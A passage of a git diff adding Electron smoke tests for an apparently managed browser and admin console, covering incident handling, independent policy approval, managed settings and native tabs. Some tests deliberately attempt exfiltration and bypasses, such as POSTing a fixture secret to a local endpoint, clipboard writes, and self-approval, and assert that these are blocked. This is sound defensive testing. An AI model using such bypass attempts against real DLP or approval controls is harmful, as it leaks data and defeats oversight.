evaluate(`document.getElementById('token').value=${JSON.stringify(process.env.SAFETYNET_ADMIN_SMOKE_TOKEN)};document.getElementById('connect').click()`);await waitFor(`document.getElementById('status').textContent.includes('Connected')`); + await evaluate(`document.querySelector('[data-incident-create]').click()`);await waitFor(`!document.getElementById('incident-detail').hidden`);assert.equal(await evaluate(`document.getElementById('incident-event').textContent.includes('NEVER_SHOW_DOCUMENT_CONTENT')`),false); + await evaluate(`document.getElementById('incident-state').value='investigating';document.getElementById('incident-severity').value='high';document.getElementById('incident-assignee').value='Synthetic SOC';document.getElementById('incident-comment').value='Synthetic investigation started. ';document.getElementById('incident-save').click()`);await waitFor(`document.getElementById('incident-revision').textContent.includes('revision 2')`); + assert.ok(await evaluate(`document.getElementById('incident-history').textContent.includes('Synthetic investigation started. ')`));assert.equal(await evaluate(`document.querySelectorAll('#incident-history img').length`),0); + const id=await evaluate(`document.querySelector('#incident-rows tr').dataset.incidentId`); + await evaluate(`fetch('/api/admin/incidents/'+${JSON.stringify(id)},{method:'PATCH',headers:{authorization:'Bearer '+${JSON.stringify(process.env.SAFETYNET_ADMIN_SMOKE_TOKEN)},'content-type':'application/json'},body:JSON.stringify({expectedRevision:2,status:'resolved'})}).then(r=>{if(!r.ok)throw Error('Concurrent synthetic update failed')})`); + await evaluate(`document.getElementById('incident-comment').value='Preserved concurrent edit';document.getElementById('incident-save').click()`);await waitFor(`document.getElementById('incident-detail-status').textContent.includes('revision conflict')`);assert.equal(await evaluate(`document.getElementById('incident-comment').value`),'Preserved concurrent edit'); + await evaluate(`document.getElementById('incident-detail-refresh').click()`);await waitFor(`document.getElementById('incident-revision').textContent.includes('revision 3')`); + await evaluate(`document.getElementById('incident-status-filter').value='open';document.getElementById('incident-status-filter').dispatchEvent(new Event('change'))`);await waitFor(`document.querySelectorAll('#incident-rows tr').length===0`); + await evaluate(`document.getElementById('incident-status-filter').value='resolved';document.getElementById('incident-status-filter').dispatchEvent(new Event('change'))`);await waitFor(`document.querySelectorAll('#incident-rows tr').length===1`); + await window.webContents.session.cookies.set({url:process.env.SAFETYNET_ADMIN_SMOKE_URL,name:'sn_session',value:process.env.SAFETYNET_INCIDENT_AUDITOR_TOKEN,httpOnly:true,sameSite:'lax'});await window.reload();await waitFor(`document.getElementById('status').textContent.includes('Connected')`);await evaluate(`document.querySelector('#incident-rows button').click()`);await waitFor(`!document.getElementById('incident-detail').hidden`);assert.equal(await evaluate(`document.getElementById('incident-save').disabled`),true);assert.equal(await evaluate(`document.querySelector('[data-incident-create]').disabled`),true); + const forbidden=await evaluate(`fetch('/api/admin/incidents/'+${JSON.stringify(id)},{method:'PATCH',headers:{'content-type':'application/json'},body:JSON.stringify({expectedRevision:3,status:'open'})}).then(r=>r.status)`);assert.equal(forbidden,403); + await evaluate(`document.getElementById('incidents').scrollIntoView()`);await new Promise(r=>setTimeout(r,250));fs.mkdirSync('artifacts',{recursive:true});fs.writeFileSync(path.resolve('artifacts/incident-admin.png'),(await window.webContents.capturePage()).toPNG());console.log('INCIDENT_ADMIN_PROOF_OK');clearTimeout(deadline);window.destroy();app.exit(0); +}).catch(error=>{console.error('INCIDENT_ADMIN_PROOF_FAILED',error.stack);clearTimeout(deadline);window?.destroy();app.exit(1);}); diff --git a/scripts/incident-admin-smoke.mjs b/scripts/incident-admin-smoke.mjs new file mode 100644 index 0000000..1b6fd30 --- /dev/null +++ b/scripts/incident-admin-smoke.mjs @@ -0,0 +1,29 @@ +// Finite, isolated administrator workflow proof using actual UI and HTTP routes. +import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +import { createServer } from 'node:net'; +import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join, resolve, sep, basename } from 'node:path'; +import { spawn } from 'node:child_process'; +import { randomBytes } from 'node:crypto'; +import { digest } from '../apps/server/store.mjs'; +import { openStore } from '../apps/server/store.mjs'; +import { createApp } from '../apps/server/app.mjs'; +import { verifyPolicy } from '../packages/core/policy.mjs'; +const require=createRequire(import.meta.url),directory=mkdtempSync(join(tmpdir(),'safetynet-incident-admin-smoke-')); +let store,server,child; +try{ + store=openStore(join(directory,'management'));const adminToken=randomBytes(32).toString('base64url'),config={adminToken,publicUrl:'http://127.0.0.1',secure:false}; + store.event('synthetic-device','dlp.blocked',{decision:'block',ruleId:'synthetic-rule',policyVersion:1,prompt:'NEVER_SHOW_DOCUMENT_CONTENT'}); + const auditorToken=randomBytes(32).toString('base64url');store.db.prepare('INSERT INTO sessions VALUES(?,?,?)').run(digest(auditorToken),Date.now()+60000,JSON.stringify({sub:'incident-auditor',role:'auditor'})); + server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));config.publicUrl=`http://127.0.0.1:${server.address().port}`; + const env={...process.env,SAFETYNET_ADMIN_SMOKE_PROFILE:join(directory,'browser'),SAFETYNET_ADMIN_SMOKE_URL:config.publicUrl,SAFETYNET_ADMIN_SMOKE_TOKEN:adminToken,SAFETYNET_INCIDENT_AUDITOR_TOKEN:auditorToken};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(require('electron'),['scripts/incident-admin-smoke.cjs'],{env,windowsHide:true,stdio:['ignore','pipe','pipe']});child.stdout.on('data',data=>{if(String(data).includes('INCIDENT_ADMIN_PROOF_OK'))console.log('Incident administrator interface workflow passed.');});child.stderr.on('data',data=>{if(String(data).includes('INCIDENT_ADMIN_PROOF_'))console.error(String(data).trim());}); + const timer=setTimeout(()=>child.kill(),60000),code=await new Promise(r=>{child.once('exit',code=>r(code??1));child.once('error',()=>r(1));});clearTimeout(timer);assert.equal(code,0,'Incident administrator interface proof failed'); + const row=store.db.prepare('SELECT * FROM incident_cases').get();assert.equal(row.revision,3);assert.equal(row.status,'resolved');assert.equal(row.assignee,'Synthetic SOC'); + const report={actualAdministratorUi:true,createFromSecurityEvent:true,statusSeverityAssignment:true,revisionConflictPreservesEdits:true,historyShown:true,adversarialNotesRenderedAsText:true,filters:true,auditorReadOnly:true,rawContentExcluded:true,noNode:true,cspPreserved:true};mkdirSync('artifacts',{recursive:true});writeFileSync('artifacts/incident-admin-proof.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report)); +}finally{ + child?.kill();if(server)await new Promise(r=>{server.closeAllConnections?.();server.close(r);});store?.db.close();const target=resolve(directory);if(!target.startsWith(resolve(tmpdir())+sep)||!basename(target).startsWith('safetynet-incident-admin-smoke-'))throw Error('Unsafe proof cleanup');rmSync(target,{recursive:true,force:true,maxRetries:10,retryDelay:100}); +} + diff --git a/scripts/independent-review-admin-smoke.cjs b/scripts/independent-review-admin-smoke.cjs new file mode 100644 index 0000000..08bec8c --- /dev/null +++ b/scripts/independent-review-admin-smoke.cjs @@ -0,0 +1,35 @@ +'use strict'; +const {app,BrowserWindow,session}=require('electron'),assert=require('node:assert/strict'),fs=require('node:fs'),path=require('node:path'); +app.disableHardwareAcceleration();app.enableSandbox();app.setPath('userData',process.env.SAFETYNET_ADMIN_SMOKE_PROFILE); +let window;const deadline=setTimeout(()=>app.exit(1),55000);const evaluate=s=>window.webContents.executeJavaScript(s,true); +async function waitFor(s){for(let n=0;n<200;n++){if(await evaluate(s))return;await new Promise(r=>setTimeout(r,60));}throw Error('UI state timeout: '+s+' | '+await evaluate(`document.getElementById('status').textContent`));} +async function identity(value){await session.defaultSession.cookies.set({url:process.env.SAFETYNET_ADMIN_SMOKE_URL,name:'sn_session',value,httpOnly:true,sameSite:'strict'});await window.loadURL(process.env.SAFETYNET_ADMIN_SMOKE_URL);await waitFor(`!document.getElementById('workspace').hidden&&document.getElementById('reviews-status').textContent.includes('loaded')`);} +async function prepare(name){await evaluate(`document.getElementById('status').textContent='Preparing';document.getElementById('brand-name').value=${JSON.stringify(name)};document.getElementById('publish').click()`);await waitFor(`document.getElementById('status').textContent.includes('prepared for independent approval')`);} +app.whenReady().then(async()=>{ + window=new BrowserWindow({show:false,width:1500,height:1100,webPreferences:{nodeIntegration:false,contextIsolation:true,sandbox:true,offscreen:true,backgroundThrottling:false}}); + await identity('synthetic-review-author');assert.equal(await evaluate('typeof require'),'undefined'); + assert.equal(await evaluate(`document.getElementById('publish').textContent`),'Prepare for independent approval'); + await prepare('Independently approved');await prepare('Stale candidate');await prepare('Rejected candidate'); + assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v1'); + await evaluate(`document.querySelector('#reviews-rows button').click()`);await waitFor(`!document.getElementById('independent-review-detail').hidden`); + assert.equal(await evaluate(`document.getElementById('independent-review-approve').disabled`),true); + const self=await evaluate(`fetch('/api/admin/policy-reviews/'+selectedIndependentReview.id+'/approve',{method:'POST',headers:{'content-type':'application/json'},body:JSON.stringify({payloadHash:selectedIndependentReview.payloadHash,expectedVersion:selectedIndependentReview.expectedVersion,approve:true})}).then(r=>r.status)`);assert.equal(self,403); + await identity('synthetic-review-admin'); + await evaluate(`document.querySelector('#reviews-rows button').click()`);await waitFor(`!document.getElementById('independent-review-detail').hidden`); + assert.ok((await evaluate(`document.getElementById('independent-review-diff').textContent`)).includes('Rejected candidate')); + await evaluate(`document.getElementById('independent-review-reject').click()`);await waitFor(`document.getElementById('reviews-rows').textContent.includes('rejected')`); + await evaluate(`document.querySelectorAll('#reviews-rows button')[2].click()`);await waitFor(`!document.getElementById('independent-review-detail').hidden`); + assert.ok((await evaluate(`document.getElementById('independent-review-diff').textContent`)).includes('Independently approved')); + await evaluate(`document.getElementById('independent-review-confirm').checked=true;document.getElementById('independent-review-confirm').dispatchEvent(new Event('change'));document.getElementById('independent-review-approve').click()`);await waitFor(`document.getElementById('policy-version').textContent==='v2'`); + assert.ok((await evaluate(`document.getElementById('reviews-rows').textContent`)).includes('stale')); + await evaluate(`document.querySelectorAll('#reviews-rows button')[1].click()`);await waitFor(`document.getElementById('independent-review-title').textContent.includes('stale')`);assert.equal(await evaluate(`document.getElementById('independent-review-approve').disabled`),true); + await evaluate(`document.getElementById('policy-reviews').scrollIntoView();document.getElementById('console-theme').value='dark';document.getElementById('console-theme').dispatchEvent(new Event('change'))`);await new Promise(r=>setTimeout(r,200));fs.mkdirSync('artifacts',{recursive:true});fs.writeFileSync(path.resolve('artifacts/independent-review-admin.png'),(await window.webContents.capturePage()).toPNG()); + await identity('synthetic-review-operator');assert.equal(await evaluate(`document.getElementById('publish').disabled`),false);await prepare('Operator proposed');assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v2');await evaluate(`document.querySelector('#reviews-rows button').click()`);await waitFor(`!document.getElementById('independent-review-detail').hidden`);assert.equal(await evaluate(`document.getElementById('independent-review-approve').disabled`),true); + + await evaluate(`document.getElementById('status').textContent='Preparing inspection';Array.from(document.querySelectorAll('#device-rows button')).find(button=>button.textContent==='Enable manual document scans').click()`);await waitFor(`document.getElementById('status').textContent.includes('prepared for independent approval')`); + assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v2');assert.ok(await evaluate(`Array.from(document.querySelectorAll('#device-rows button')).some(button=>button.textContent==='Enable manual document scans')`)); + await identity('synthetic-review-admin');await evaluate(`document.querySelector('#reviews-rows button').click()`);await waitFor(`!document.getElementById('independent-review-detail').hidden`); + const operation=await evaluate(`document.getElementById('independent-review-operation').textContent`);assert.ok(operation.includes('synthetic-bookmark-device'));assert.ok(operation.includes('Enable'));assert.ok(operation.includes('Mandatory upload DLP')); + await evaluate(`document.getElementById('independent-review-confirm').checked=true;document.getElementById('independent-review-confirm').dispatchEvent(new Event('change'));document.getElementById('independent-review-approve').click()`);await waitFor(`document.getElementById('policy-version').textContent==='v3'`);assert.ok(await evaluate(`Array.from(document.querySelectorAll('#device-rows button')).some(button=>button.textContent==='Disable manual document scans')`)); + console.log('INDEPENDENT_ADMIN_PROOF_OK');clearTimeout(deadline);window.destroy();app.exit(0); +}).catch(error=>{console.error('INDEPENDENT_ADMIN_PROOF_FAILED',error.message);clearTimeout(deadline);window?.destroy();app.exit(1);}); diff --git a/scripts/independent-review-admin-smoke.mjs b/scripts/independent-review-admin-smoke.mjs new file mode 100644 index 0000000..372345d --- /dev/null +++ b/scripts/independent-review-admin-smoke.mjs @@ -0,0 +1,28 @@ +// Finite, isolated administrator workflow proof using actual UI and HTTP routes. +import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +import { createServer } from 'node:net'; +import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join, resolve, sep, basename } from 'node:path'; +import { spawn } from 'node:child_process'; +import { randomBytes } from 'node:crypto'; +import { openStore, digest } from '../apps/server/store.mjs'; +import { createApp } from '../apps/server/app.mjs'; +import { verifyPolicy } from '../packages/core/policy.mjs'; +const require=createRequire(import.meta.url),directory=mkdtempSync(join(tmpdir(),'safetynet-independent-review-admin-smoke-')); +let store,server,child; +try{ + store=openStore(join(directory,'management'));const adminToken=randomBytes(32).toString('base64url'),config={adminToken,publicUrl:'http://127.0.0.1',secure:false,requireIndependentPolicyApproval:true}; + for(const [credential,role,sub] of [['synthetic-review-author','admin','synthetic-author'],['synthetic-review-admin','admin','synthetic-reviewer'],['synthetic-review-operator','operator','synthetic-operator']])store.db.prepare('INSERT INTO sessions VALUES(?,?,?)').run(digest(credential),Date.now()+3600000,JSON.stringify({sub,role})); + store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash,last_seen) VALUES(?,?,?,?,?,?)').run('synthetic-bookmark-device','Synthetic bookmark device','win32','synthetic-user','synthetic-unused',new Date().toISOString()); + store.db.prepare('UPDATE devices SET document_analysis_enabled=0 WHERE id=?').run('synthetic-bookmark-device'); + server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));config.publicUrl=`http://127.0.0.1:${server.address().port}`; + const env={...process.env,SAFETYNET_ADMIN_SMOKE_PROFILE:join(directory,'browser'),SAFETYNET_ADMIN_SMOKE_URL:config.publicUrl,SAFETYNET_ADMIN_SMOKE_TOKEN:adminToken};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(require('electron'),['scripts/independent-review-admin-smoke.cjs'],{env,windowsHide:true,stdio:['ignore','pipe','pipe']});child.stdout.on('data',data=>{if(String(data).includes('INDEPENDENT_ADMIN_PROOF_OK'))console.log('Independent policy approval administrator interface workflow passed.');});child.stderr.on('data',data=>{const text=String(data);if(text.includes('INDEPENDENT_ADMIN_PROOF_'))console.error(text.trim());}); + const timer=setTimeout(()=>child.kill(),60000),code=await new Promise(r=>{child.once('exit',code=>r(code??1));child.once('error',()=>r(1));});clearTimeout(timer);assert.equal(code,0,'Independent policy approval administrator interface proof failed'); + const policy=verifyPolicy(store.envelope(),store.publicKey());assert.equal(policy.version,3);assert.equal(store.db.prepare('SELECT document_analysis_enabled FROM devices WHERE id=?').get('synthetic-bookmark-device').document_analysis_enabled,1);assert.equal(policy.brand.name,'Independently approved'); + const report={actualAdministratorUi:true,mandatoryIndependentApproval:true,payloadDiff:true,selfApprovalHttpDenied:true,distinctReviewer:true,operatorPrepareOnly:true,inspectionOperationVisible:true,inspectionUnchangedUntilApproval:true,rejectedAndStaleVisible:true,publishedOnlyAfterApproval:true,nodeUnavailable:true};mkdirSync('artifacts',{recursive:true});writeFileSync('artifacts/independent-review-admin-proof.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report)); +}finally{ + child?.kill();if(server)await new Promise(r=>{server.closeAllConnections?.();server.close(r);});store?.db.close();const target=resolve(directory);if(!target.startsWith(resolve(tmpdir())+sep)||!basename(target).startsWith('safetynet-independent-review-admin-smoke-'))throw Error('Unsafe proof cleanup');rmSync(target,{recursive:true,force:true,maxRetries:10,retryDelay:100}); +} diff --git a/scripts/init.mjs b/scripts/init.mjs new file mode 100644 index 0000000..2b9bd22 --- /dev/null +++ b/scripts/init.mjs @@ -0,0 +1,12 @@ +import { existsSync, readFileSync, writeFileSync, appendFileSync } from 'node:fs'; +import { randomBytes } from 'node:crypto'; +if(existsSync('.env'))console.log('.env already exists; preserved existing configuration.'); +else {const template=readFileSync('.env.example','utf8');writeFileSync('.env',template.replace('ADMIN_TOKEN=','ADMIN_TOKEN='+randomBytes(32).toString('base64url')),{mode:0o600});console.log('Created .env with a random bootstrap administrator token. Open .env locally to use it; never commit this file.');} +let existing=readFileSync('.env','utf8'); +if(!/^INSPECTOR_URL=/m.test(existing)){appendFileSync('.env','\nINSPECTOR_URL=http://127.0.0.1:4311\n');existing=readFileSync('.env','utf8');} +if(!/^INSPECTOR_TOKEN=.+/m.test(existing)){ + const secret=randomBytes(32).toString('base64url'); + if(/^INSPECTOR_TOKEN=/m.test(existing))writeFileSync('.env',existing.replace(/^INSPECTOR_TOKEN=.*$/m,'INSPECTOR_TOKEN='+secret),{mode:0o600}); + else appendFileSync('.env','INSPECTOR_TOKEN='+secret+'\n',{mode:0o600}); + console.log('Configured a private inspector credential.'); +} diff --git a/scripts/inspector.mjs b/scripts/inspector.mjs new file mode 100644 index 0000000..2242c2a --- /dev/null +++ b/scripts/inspector.mjs @@ -0,0 +1,12 @@ +import { spawn } from 'node:child_process'; +import { resolve } from 'node:path'; +import {createRequire} from 'node:module'; +const files=createRequire(import.meta.url)('../apps/browser/inspection.cjs').privateInspectorPaths(resolve('.')); +if(!files)throw Error('Provision the private Windows runtime; external or linked inspector overrides are rejected'); +const {python,script}=files; +const environment={...process.env,INSPECTOR_PARENT_PID:String(process.pid)}; +environment.EMBEDDING_MODEL_DIR ||= resolve('.runtime/windows/semantic/models'); +environment.EMBEDDING_WORKER_PATH ||= resolve('.runtime/windows/semantic/searchi-gemma-worker.exe'); +for(const key of ['ADMIN_TOKEN','OIDC_CLIENT_SECRET','AI_API_KEY','SIEM_HTTP_TOKEN','SIEM_KEY_FILE'])delete environment[key]; +const child=spawn(python,[script],{stdio:'inherit',env:environment,windowsHide:true}); +process.on('SIGINT',()=>child.kill());process.on('SIGTERM',()=>child.kill());child.on('exit',code=>process.exit(code??1)); diff --git a/scripts/managed-settings-smoke.cjs b/scripts/managed-settings-smoke.cjs new file mode 100644 index 0000000..acfaac0 --- /dev/null +++ b/scripts/managed-settings-smoke.cjs @@ -0,0 +1,26 @@ +const {app,BrowserWindow,safeStorage}=require('electron'); +const fs=require('node:fs'),path=require('node:path'); +const assert=require('node:assert/strict'); +app.setPath('userData',process.env.SAFETYNET_SETTINGS_PROFILE);app.setPath('sessionData',process.env.SAFETYNET_SETTINGS_PROFILE);app.disableHardwareAcceleration(); +process.env.SAFETYNET_SMOKE_USERDATA=process.env.SAFETYNET_SETTINGS_PROFILE; +require('../apps/browser/main.cjs'); +const wait=ms=>new Promise(resolve=>setTimeout(resolve,ms)); +const deadline=setTimeout(()=>app.exit(1),90000); +app.whenReady().then(async()=>{try{ + let win;for(let i=0;i<150;i++){win=BrowserWindow.getAllWindows()[0];if(win&&!win.webContents.isLoading()&&win.webContents.getURL().endsWith('index.html'))break;await wait(100);}assert.ok(win,'Trusted shell unavailable'); + const call=(name,input)=>win.webContents.executeJavaScript(`window.safetynet[${JSON.stringify(name)}](${JSON.stringify(input)??''})`); + const enrolled=await call('enroll',{server:process.env.SAFETYNET_SETTINGS_SERVER,code:process.env.SAFETYNET_SETTINGS_CODE});assert.equal(enrolled.ok,true,'Enrollment failed');assert.equal(enrolled.data.ready,true,'Management did not become ready'); + const enrollment=JSON.parse(safeStorage.decryptString(Buffer.from(JSON.parse(fs.readFileSync(path.join(process.env.SAFETYNET_SETTINGS_PROFILE,'enrollment.json'),'utf8')).encryptedEnrollment,'base64'))); + assert.equal((await fetch(`${process.env.SAFETYNET_SETTINGS_SERVER}/api/device/policy`,{headers:{authorization:`Bearer ${enrollment.token}`}})).status,403,'Plaintext policy route was not rejected'); + async function state(){return (await call('state')).data;} + async function rejected(name,input){assert.equal((await call(name,input)).ok,false,`Privileged ${name} bypassed administrator settings`);} + assert.deepEqual((await state()).settings.appearance,{mode:'dark',accent:'violet',tabMode:'compact'}); + await rejected('updateSettings',{mode:'light'});await rejected('vaultStatus');await rejected('vaultCreate','synthetic-not-a-real-password');await rejected('vaultSave',{});await rejected('inspectFile');await rejected('agentConnection');assert.equal((await call('vaultLock')).ok,true); + const headers={authorization:`Bearer ${process.env.SAFETYNET_SETTINGS_ADMIN}`,'content-type':'application/json'}; + async function publish(settings){const overview=await (await fetch(`${process.env.SAFETYNET_SETTINGS_SERVER}/api/admin/overview`,{headers})).json();const policy=overview.policy;assert.ok(policy,'Admin policy unavailable');policy.version++;policy.browser.settings=settings;const response=await fetch(`${process.env.SAFETYNET_SETTINGS_SERVER}/api/admin/policy`,{method:'PUT',headers,body:JSON.stringify(policy)});assert.equal(response.status,200,'Central policy publication failed');for(let i=0;i<100;i++){const current=await state();if(current.ready&¤t.policyVersion===policy.version)return current;await wait(100);}throw Error('Live central settings update timed out');} + await publish({visible:false,hiddenSections:[],lockedSections:[],appearance:{mode:'light',accent:'teal',tabMode:'separate'}}); + await rejected('setChromeLayout',{height:104,sidebarOpen:false,startPageOpen:false,overviewOpen:false,toolsOpen:true});await rejected('updateSettings',{mode:'dark'});assert.equal((await call('toggleAI',true)).ok,true,'Hiding settings disabled approved AI use');await call('toggleAI',false);assert.equal((await call('vaultLock')).ok,true); + const opened=await publish({visible:true,hiddenSections:[],lockedSections:[],appearance:{mode:'system',accent:'blue',tabMode:'separate'}});assert.equal(opened.settings.visible,true);const change=await call('updateSettings',{mode:'dark',accent:'teal',tabMode:'compact'});assert.equal(change.ok,true);assert.deepEqual(change.data.appearance,{mode:'dark',accent:'teal',tabMode:'compact'}); + const ui=await win.webContents.executeJavaScript('({theme:document.documentElement.dataset.theme,accent:document.documentElement.dataset.accent,tabMode:document.documentElement.dataset.tabMode})');assert.deepEqual(ui,{theme:'dark',accent:'teal',tabMode:'compact'}); + console.log(JSON.stringify({nativeSettingsEnforcement:true,liveCentralUpdate:true,directIPCBypassRejected:true}));clearTimeout(deadline);app.quit(); +}catch(error){console.error(JSON.stringify({nativeSettingsEnforcement:false,error:error.message}));clearTimeout(deadline);app.exit(1);}}); diff --git a/scripts/managed-settings-smoke.mjs b/scripts/managed-settings-smoke.mjs new file mode 100644 index 0000000..ab1cef1 --- /dev/null +++ b/scripts/managed-settings-smoke.mjs @@ -0,0 +1,31 @@ +// Actual signed central publication and native browser IPC, isolated synthetic device. +import assert from 'node:assert/strict'; +import {createRequire} from 'node:module'; +import {createServer} from 'node:http'; +import {mkdtempSync,mkdirSync,writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {spawn} from 'node:child_process'; +import {randomBytes} from 'node:crypto'; +import {createApp} from '../apps/server/app.mjs'; +import {openStore,digest} from '../apps/server/store.mjs'; +const electron=createRequire(import.meta.url)('electron'); +const temporary=mkdtempSync(join(tmpdir(),'safetynet-managed-settings-')); +let store,management,sink,child; +try{ + const adminToken=randomBytes(32).toString('base64url'),code=randomBytes(32).toString('base64url'); + sink=createServer((_req,res)=>{res.setHeader('content-type','text/html');res.end('Managed settings fixture

Public local test page

');}).listen(0,'127.0.0.1'); + await new Promise(resolve=>sink.once('listening',resolve)); + store=openStore(join(temporary,'management.sqlite')); + const initial=store.get('policy');initial.browser.homeUrl=`http://127.0.0.1:${sink.address().port}`;initial.browser.allowedHosts=['127.0.0.1'];initial.browser.settings={visible:true,hiddenSections:['passwords','documentScan','agents'],lockedSections:['appearance'],appearance:{mode:'dark',accent:'violet',tabMode:'compact'}};store.put('policy',initial); + store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+600000,'synthetic-settings-user'); + const config={publicUrl:'http://127.0.0.1',secure:false,adminToken,requirePQManagement:true}; + management=createApp(store,config).listen(0,'127.0.0.1');await new Promise(resolve=>management.once('listening',resolve));config.publicUrl=`http://127.0.0.1:${management.address().port}`; + const env={...process.env,SAFETYNET_SETTINGS_PROFILE:join(temporary,'browser'),SAFETYNET_SETTINGS_SERVER:config.publicUrl,SAFETYNET_SETTINGS_CODE:code,SAFETYNET_SETTINGS_ADMIN:adminToken};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(electron,['scripts/managed-settings-smoke.cjs'],{windowsHide:true,stdio:'inherit',env});const timer=setTimeout(()=>child.kill(),100000); + const status=await new Promise(resolve=>{child.once('exit',code=>resolve(code??1));child.once('error',()=>resolve(1));});clearTimeout(timer);assert.equal(status,0,'Native managed settings proof failed'); + const report={native:true,centralSignedPublication:true,plaintextPolicyRejected:true,lockedAppearanceDirectIPCRejected:true,hiddenSectionsDirectIPCRejected:true,globalSettingsHiddenRejected:true,liveUnlockApplied:true,vaultLockAlwaysAvailable:true,contentPersisted:false}; + mkdirSync('artifacts',{recursive:true});writeFileSync('artifacts/managed-settings-proof.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report)); +}finally{ + child?.kill();for(const server of [management,sink])if(server){server.closeAllConnections();await new Promise(resolve=>server.close(resolve));}store?.db.close(); +} diff --git a/scripts/native-tabs-smoke.cjs b/scripts/native-tabs-smoke.cjs new file mode 100644 index 0000000..3966deb --- /dev/null +++ b/scripts/native-tabs-smoke.cjs @@ -0,0 +1,35 @@ +const {app,BrowserWindow,webContents}=require('electron');const assert=require('node:assert/strict'),fs=require('node:fs'),path=require('node:path'); +app.setPath('userData',process.env.SAFETYNET_TABS_USERDATA);app.disableHardwareAcceleration();require('../apps/browser/main.cjs'); +function finish(code){for(const contents of webContents.getAllWebContents()){if(contents.getURL().endsWith('index.html'))continue;require('../apps/browser/page-clipboard-guard.cjs').disposePageClipboardGuard(contents);}app.exit(code);} +const wait=ms=>new Promise(r=>setTimeout(r,ms));async function until(fn,label){for(let i=0;i<150;i++){if(await fn())return;await wait(100);}throw Error(label+' timed out');} +app.whenReady().then(async()=>{try{ + let win;await until(()=>{win=BrowserWindow.getAllWindows()[0];return win&&!win.webContents.isLoading()&&win.webContents.getURL().endsWith('index.html');},'Shell'); + const run=code=>win.webContents.executeJavaScript(code),state=async()=>{const r=await run('window.safetynet.state()');assert.equal(r.ok,true,r.error);return r.data;}; + const invoke=async(method,value)=>{const r=await run(`window.safetynet[${JSON.stringify(method)}](${JSON.stringify(value)})`);assert.equal(r.ok,true,r.error);return r.data;}; + await invoke('enroll',{server:process.env.SAFETYNET_TABS_SERVER,code:process.env.SAFETYNET_TABS_CODE});const base=process.env.SAFETYNET_TABS_SINK; + await until(async()=>{const s=await state();return s.tabs?.length===1&&s.tabs[0].url===base+'/';},'Initial managed native tab'); + const aId=(await state()).activeTabId;const a=webContents.getAllWebContents().find(w=>w.getURL()===base+'/');assert.ok(a);await until(()=>!a.isLoading(),'Initial page'); + assert.deepEqual(await a.executeJavaScript('({node:typeof require,bridge:typeof window.safetynet})'),{node:'undefined',bridge:'undefined'}); + await a.executeJavaScript("document.getElementById('remember').value='A survives';window.scrollTo(0,800)"); + const before=(await (await fetch(base+'/counts')).json()).requests['/']; + await run("document.getElementById('new-tab').click()");await until(async()=>{const s=await state();return s.tabs.length===2&&s.activeTabId!==aId;},'New tab UI'); + const bId=(await state()).activeTabId;assert.equal((await state()).tabs.find(t=>t.id===bId).startPage,true); + await run(`document.getElementById('address').value=${JSON.stringify(base+'/b')};document.getElementById('address-form').requestSubmit()`); + await until(async()=>{const s=await state();return s.tabs.find(t=>t.id===bId)?.url===base+'/b';},'Second native page');const b=webContents.getAllWebContents().find(w=>w.getURL()===base+'/b');assert.ok(b);await until(()=>!b.isLoading(),'Second page');assert.notEqual(a.id,b.id); + await b.executeJavaScript("document.getElementById('remember').value='B survives'"); + const clickTab=id=>run(`(()=>{const element=[...document.querySelectorAll('#tab-strip .browser-tab')].find(el=>el.dataset.tabId===${JSON.stringify(id)});if(!element)throw Error('Tab UI missing');element.querySelector('.tab-label').click()})()`); + await clickTab(aId);await until(async()=>(await state()).activeTabId===aId,'Switch A');assert.equal(await a.executeJavaScript("document.getElementById('remember').value"),'A survives');assert.equal(await a.executeJavaScript('Math.round(scrollY)'),800);assert.equal((await (await fetch(base+'/counts')).json()).requests['/'],before,'Selecting a tab reloaded it'); + await a.executeJavaScript("document.getElementById('next').click()",true);await until(()=>a.getURL()===base+'/a-two'&&!a.isLoading(),'A history');await invoke('back');await until(()=>a.getURL()===base+'/'&&!a.isLoading(),'A back'); + await clickTab(bId);await until(async()=>(await state()).activeTabId===bId,'Switch B');assert.equal(await b.executeJavaScript("document.getElementById('remember').value"),'B survives');await b.executeJavaScript("document.getElementById('next').click()",true);await until(()=>b.getURL()===base+'/b-two'&&!b.isLoading(),'B history');await invoke('back');await until(()=>b.getURL()===base+'/b'&&!b.isLoading(),'B back');assert.equal(a.getURL(),base+'/','B history changed A'); + for(const page of [a,b]){const blocked=await page.executeJavaScript(`fetch(${JSON.stringify(base+'/blocked')},{method:'POST',body:'TAB_FIXTURE_SECRET'}).then(()=>false).catch(()=>true)`);assert.equal(blocked,true,'Inactive/active tab DLP bypass');assert.deepEqual(await page.executeJavaScript('({node:typeof require,bridge:typeof window.safetynet})'),{node:'undefined',bridge:'undefined'});assert.equal(await page.executeJavaScript('navigator.clipboard.writeText("TAB_FIXTURE_SECRET").then(()=>false).catch(()=>true)'),true,'Site clipboard bypass');} + fs.mkdirSync('artifacts',{recursive:true});fs.writeFileSync('artifacts/native-tabs.png',(await win.webContents.capturePage()).toPNG()); + await invoke('closeTab',aId);assert.equal(a.isDestroyed(),true);await invoke('closeTab',bId);assert.equal(b.isDestroyed(),true);const final=await state();assert.equal(final.tabs.length,1);assert.equal(final.tabs[0].startPage,true);assert.notEqual(final.activeTabId,bId);await until(async()=>await run("!document.getElementById('start-page').hidden"),'Fresh start page'); + const fresh=webContents.getAllWebContents().find(w=>w!==win.webContents&&w.getURL()==='about:blank');assert.ok(fresh,'Closing last tab did not create native replacement');assert.deepEqual(await 